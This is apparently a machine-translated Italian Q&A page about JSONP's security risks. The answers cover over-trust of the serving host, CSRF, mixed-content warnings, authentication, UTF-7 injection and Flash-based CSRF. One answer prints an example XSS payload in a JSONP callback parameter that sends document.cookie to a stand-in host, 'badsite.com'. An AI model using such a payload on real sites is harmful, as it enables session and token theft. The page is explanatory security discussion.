it-swarm.dev

Rischi per la sicurezza con JSONP?

Quali sono i rischi per la sicurezza con JSONP ? L'utilizzo di JSONP in una nuova applicazione Web è ragionevole dal punto di vista della sicurezza o è meglio utilizzare un metodo diverso per i mashup Web tra le origini?

Se l'utilizzo di JSONP è ragionevole, quali misure devo prendere per assicurarmi di utilizzarlo in modo sicuro? Se è meglio usare qualcos'altro, cosa consiglieresti invece? (CORS)?

28
D.W.

JSONP è un po 'complicato, dal punto di vista della sicurezza:

  • Richiede una fiducia eccessiva. Supponi di avere una pagina ospitata su a.com E che utilizzi JSONP per accedere ai servizi forniti da b.org . Ciò comporta la fiducia del 100% in b.org. Se b.org È dannoso o difettoso, può sovvertire la sicurezza della pagina di incorporamento e tutta l'origine a.com. Questo tipo di eccesso di fiducia è pericoloso dal punto di vista della sicurezza: rende fragile l'applicazione.

    Per dirla in altro modo: JSONP è fondamentalmente un XSS autoinflitto. Sì, ok, so che è una funzionalità, non un bug, ma comunque ...

  • Vulnerabilità CSRF. Devi ricordarti di difenderti dalle vulnerabilità CSRF, e con JSONP, diventa un po 'complicato. Il consiglio standard è quello di assicurarsi che solo POST possano innescare un effetto collaterale e di includere un token CSRF in tutte le POST; ma JSONP prevede l'invio di un OTTIENI una richiesta per attivare un effetto collaterale, che non è esattamente la soluzione più pulita che tu abbia mai visto, quindi questo significa che l'host che fornisce il servizio JSONP deve ricordare di controllare i token CSRF anche su richieste GET. Inoltre, richiede un un po 'di un protocollo complicato per la pagina di incorporamento (a.com) per ottenere il token CSRF corretto dal servizio JSONP (b.org).

  • Provoca avvisi di contenuto misto. Supponiamo di avere una pagina ospitata su https://a.com E che acceda a un servizio JSONP su http://b.org . Quindi questo innescherà inevitabilmente un avviso di contenuto misto dall'aspetto spaventoso (poiché JSONP comporta il caricamento di uno script da http://b.org).

  • L'autenticazione dell'utente diventa brutta. Se b.org Vuole autenticare l'utente, diventa difficile farlo quando si utilizza JSONP. La pagina di incorporamento (a.com) Deve prima in qualche modo offrire all'utente l'opportunità di accedere in anticipo a b.org, Prima di accedere al servizio JSONP di b.org. Entrambi i siti devono coordinarsi.

Non so se gli sviluppatori web dovrebbero essere raccomandati per evitare JSONP per le nuove applicazioni web o meno, ma questi aspetti rendono CORS piuttosto allettante.

Vedi anche Qual è il punto della regola dello stesso dominio per xmlhttprequest quando i tag script/JSONP possono attraversare domini?

25
D.W.

Il parametro callback può essere un vettore XSS

Ho trovato un risposta su StackOverflow che filtra la risposta di callback JSONP. Ciò è necessario perché il parametro callback può essere manipolato in un attacco XSS che ruba token CSRF in questo modo:

http://yoursite.com/jsonp.php?callback=(function(){ $(document.body).append('<script type="text/javascript" src="http://badsite.com/?usercookies='+document.cookie+'"></script>'); })//

Le iniezioni UTF7 sono possibili se il set di caratteri non è incluso

Se l'intestazione non è Content-Type: application/javascript; charset=utf-8 quindi sono possibili iniezioni di UTF7.

La selezione del tipo di contenuto può avere un impatto

Il tipo di contenuto influisce sulla compressione basata su HTTP di determinati host Web condivisi.

Esiste una differenza di funzionalità tra ciò che è possibile fare in alcuni browser in base al tipo di contenuto. Dovrò scavare i collegamenti da StackOverflow

13

Il parametro callback può essere un vettore CSRF tramite iniezione Flash.

Vedi http://quaxio.com/jsonp_handcrafted_flash_files/

5
Alok